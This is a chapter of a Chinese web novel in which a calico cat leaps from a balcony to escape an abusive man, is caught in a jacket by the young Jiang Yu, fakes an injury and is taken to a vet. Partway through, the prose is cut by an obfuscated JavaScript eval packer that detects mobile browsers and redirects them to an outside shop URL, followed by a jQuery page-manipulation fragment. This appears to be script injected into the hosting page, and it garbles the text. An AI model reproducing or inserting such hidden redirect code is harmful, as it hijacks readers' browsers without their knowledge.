物管经理见他沉着脸,眼中不乏担忧,且这位可是本小区楼王的业主,这样的人不至于为了一只猫撒谎,能专门跑到监控室找一趟的,看来这只猫对他来说很重要。 自认看穿了江煜的小谎,经理很快就查到了迟翔的楼栋户号,把纸条递给江煜时还不忘殷勤一句:“需要的话我们也可以帮您上门说明情况,然后把猫要到了给您送回去。” “不用了。”江煜拒绝得又快又果断,他可不想当众被拆穿,“我能搞定,谢谢。” 江煜捏着那张纸条还没走出物管中心多久,老远又看见狸花疾驰而来,一个滑步生生从他面前又滑出半米。 “我想我知道去哪里找三花了。” 他声音轻轻淡淡,可狸花耳朵的灵敏饶是滑出去半米也听得清清楚楚,它一双眼睛瞬间闪出希望的光芒,忙撤身走到江煜身边,又用前爪拍了拍他的裤腿。 “喵——” 人言猫语实在不相通,可江煜还是觉得自己像是完全听懂了狸花的意思。 谢谢你,我们快去救他吧。 * 可如果跳不过去的话,会有神仙及时接住他吗? 穆夏在迟翔家的客厅里转圈地狂奔,极度地恐惧和兴奋叫他不得不大喘气,而迟翔手里捏着一根棒球棍,随时冲着残影挥舞着,各种家具摆设在他的疯狂之下变成了一地碎片。 “哐——咚——嗒——咵————” 客厅里一片狼藉。 穆夏逐渐掌握了迟翔追跑的规律,瞅准时机往卧室门口一冲,迟翔的棍棒果然在他身后落下,他立马装作被发现小心思般慌乱在原地空跑了两下,憋得转了个向,这才往远离迟翔的客厅角落里逃。 迟翔手中挥舞着的棒球棍竟真的停下了,人也站定,杵在卧室门口思考了一瞬,他推了推塌鼻梁上的镜框,笑得露出两大排牙,和镜片一起反射着阴冷的光,看着渗人的很。 “还想趁机跑卧室去?” “砰”的一声巨响,卧室门被重重合上。 刚偷摸溜边走到阳台的穆夏还是没忍住一个激灵,一颗心几乎提到了嗓子眼儿,浑身的毛发都直直竖起,炸成了一颗三色毛团,尾巴也小心翼翼地藏在肚皮底下。 他抬头看了看隔壁那户的阳台,全封了窗。 坏了,没开窗。 迅速环视了一圈,只有两户阳台之间的外立面有一块极窄的挑檐。 但凡跳的方向力度有丝毫的差错,那他就会从这高楼上直直掉下去,摔个粉身碎骨。 “猫呢!跑哪儿去了!” 迟翔把所有的门窗关好后回头,却没在客厅找到小猫的身影,那点儿玩的耐心彻底消磨,怒吼声如同闷雷一般的催命符在客厅炸开。 穆夏咬紧牙关,闭了闭眼睛,暗自给自己打气,再睁眼,眼中尽是超脱死亡恐惧的坚定,或者说是选择了赢面更大的活法。 “噔。” 极轻盈地一跃。 三色的毛团在空中完成优雅的弧度,前后腿尽情展开,冲着那不足二十厘米的挑檐一跃而去。 竟然…到了! 可还不等穆夏高兴,靠外侧的后腿因为极致的紧张瞬间发软。 站不住了。 穆夏整只猫向外一倾。 “喵啊——————!” 一声尖锐的猫叫声穿透了整栋楼的楼板,陆陆续续从各家探出一两个脑袋来,或上或下纷纷寻找着声音的来源。 等他们终于找到这个来源,就看见一只三花猫已经变成了风中的一团巨大毛絮,两只前爪死死勾住一点儿外立面的挑檐不敢松手,两条后腿不住地在空中扑腾着,想要重新翻身上去。 匆匆跑到楼下的江煜正好抬头瞧见了这一幕。 他的心口像是瞬间被人狠狠攥了一把。 疼痛的感觉从心口像四肢蔓延。 狸花也抬头,瞬间紧张得连呼吸都忘了。 “这…上去来不及了。” 江煜喃喃着,几乎是手足无措中脱下了身上的外套,两只手紧紧攥着外套的边缘像外拉扯开,冲着穆夏可能摔落的位置高高举了起来。 这太危险了。 他昂着头,视线不敢再有丝毫的偏移。 “小咪!” 楼上的穆夏急得几乎要哭出来,他的后腿不管怎么使劲都没法再翻上去了,而他前爪的力气也能渐渐感受到力量的流失,他快撑不住了,几乎想要放弃的一瞬,他觉得自己似乎听到了恩人的声音。 那声音那样清晰明亮,就像…就像就在自己附近。 身体里像是被重新注入了力量,他瞬间觉得自己还能再多撑一撑。 “小咪!” 又一声。 好像不是他的幻觉。 顺着声音看去,那张被他记忆了千百遍的脸,此刻就在楼底下等着他。 恩人真的来救他了…… 他等到了……他又等到了…… 一颗热泪从一汪水蓝的边角滚落下来,滑过毛茸茸的前臂向下低,直直坠在江煜展开的外套上,直接消失不见。 迟翔那家伙也终于探出身来看清了情况,等看到被许多人关注着的穆夏,恨恨地咬了咬牙,终是退了回去。 他不能暴露了。 “啐,这狗玩意儿。等我下次再碰见你……” 狸花在下头也等得急了,它看得出穆夏快要支撑不住了,因为那两只前爪能够勾住挑檐的位置已经越来越少。 [快跳!你恩人准备好接住你了!] 穆夏这才注意到江煜脚边站着的狸花,它一眨不眨地看向自己,也是满满的紧张和担忧。 一人一猫的关心叫他心底的恐惧瞬间被打消,深吸了口气,他轻轻松开了自己扣在檐边的前爪,放任自己向下坠落。 他相信,他会被好好接住的。 “嘶————” 楼栋两边瞬间传来了一齐倒吸凉气的声音。 太危险了! 这猫怎么会跑到那里去的?怎么就敢直接往下跳? 可很快,他们的担心就变成了楼底下的人能不能好好接住小猫了,所有人伸着脑袋屏住呼吸。 江煜眼看着穆夏坠落,他又直了直手臂,手心攥出的汗已经浸入衣料,外套被绷得笔直。 他的额头和脖颈上也已经是一片细密的汗。 感觉心脏都要炸开了。 “嘶——呜!好耶!” 江煜还在手中突如增加的重量和紧绷衣服中犹疑,就听楼上的住户们爆出一声喝彩来。 “太棒了!好耶,小猫被接住了!” 他缓缓把胳膊降下来,眼睛都直了,直到视线里多出一点儿毛尖儿,悬在喉咙里的一口气才敢咽回去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485396|201974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 还好…… 这次他救下猫了。 可外套太高,狸花看不到穆夏的情况,急得在一旁打转,不得不伸长了身体够到江煜身上,想要扒拉外套的边缘试图尽快看到穆夏安全。 江煜侧头看了看急得不行的狸花,心领神会般抱着外套蹲了下来,把正安稳躺在里头的穆夏递给它看。 [还好还好,没事了。] 穆夏终于缓缓睁开眼睛,那种急速坠落的离心感似乎还在,可他终于能清晰看见恩人和狸花的样子,甚至能透过外套感受到恩人的体温。 好温暖。 和恩人小时候一模一样。 “喵喵~” 他不禁唤了江煜一声,就像之前那样,声音细细的轻柔,还带了点劫后余生的撒娇。 江煜一手搂紧了他,一手放在被风吹得有些凌乱的猫头上,顺毛小心安抚了几把。 狸花在一旁看着,还是想起一件更重要的事情来。 [你恩人今天看起来完全不像之前那么冷漠嘛,你是没看着他刚才恨不得飞上去救你的样子。] [穆夏快,这会儿再试试碰瓷大法一定有用!] 穆夏不由得看向狸花,看着对方挤眉弄眼,转瞬就明白了它的意思,颇有些心虚地不敢看江煜。 [恩人都来救我了,还要真碰瓷不…不太好吧?] [他来救你是救你,可万一救完你就不带你回去呢?] 穆夏:(?ω?) 还…还会这样? 江煜夹在两只喵喵叫中间一时不知该作何反应。 怎么他像多余的那一个? 事不宜迟,连跳楼都不怕了的穆夏立刻翻了个身,冲着江煜露出肚皮,就是前爪虚晃着毫无力气地耷拉着,像极了……骨折。 “喵——” 他脑袋向前一顶,试图再往江煜怀里蹭,好叫他清晰地看见自己“坏了”的腿。 江煜的脸色果然又紧张起来,他好看的眉毛蹙在一起,眉心凝成一个川字,很是板正。 “我现在就带你去宠物医院。”刚起身走出两步,似想到什么般又回头,“狸花你也去吗?” 狸花闻言忙后撤一步。 医院? 它才不去呢! 知道穆夏安全它就放心了。 [你没事儿我就先走了,记得晚点也要好好碰瓷,直到人带你回家哦!] 只给穆夏留下一句话,狸花一溜烟转身跑掉。 它过惯了自由的日子,才不要做什么人类的宠物呢! 江煜看着那几乎是逃跑的棕黑毛团,扯了扯嘴角。 重新看向穆夏,声音放缓,可还是有一丝溢出的微颤:“没事的,你一定会没事的。” * “没事儿,小猫可能就是惊吓过度,当时从楼下掉下来可能太突然一下子劲儿没恢复,腿才会像摔断了一样,拍了片看过没有骨裂骨折的情况,放心吧。” 江煜看着宠物医生递过来的X光片,确实没看出什么骨折的痕迹,他回头有些狐疑地看着趴在检查台上的小猫。很快他就自我否认了心里的猜测。 小猫怎么会演这种戏? “不过这只三花有点营养不良,尾巴还受伤了需要治疗,如果按你说的情况,它这两天应该都是处在应激的状态中,今天又从高空坠落,猫咪的精神状态看着不是太好,我建议是留院观察几小时,它现在不太适合再来回折腾了,还能顺便处理一下受伤的尾巴,只是住院费用的话会高一些……” 宠物医生见江煜显然还是个学生模样,提及费用有些难开口。 江煜没有犹豫:“好,费用没问题,那麻烦你们好好照顾它,我晚一点来接它。” “行,那你先去导诊台交费吧,还有小猫的名字记得想一个,我们需要给它建档的。” “穆夏。” 宠物医生一时没反应过来:“什么?” “我说我的猫,叫穆夏。”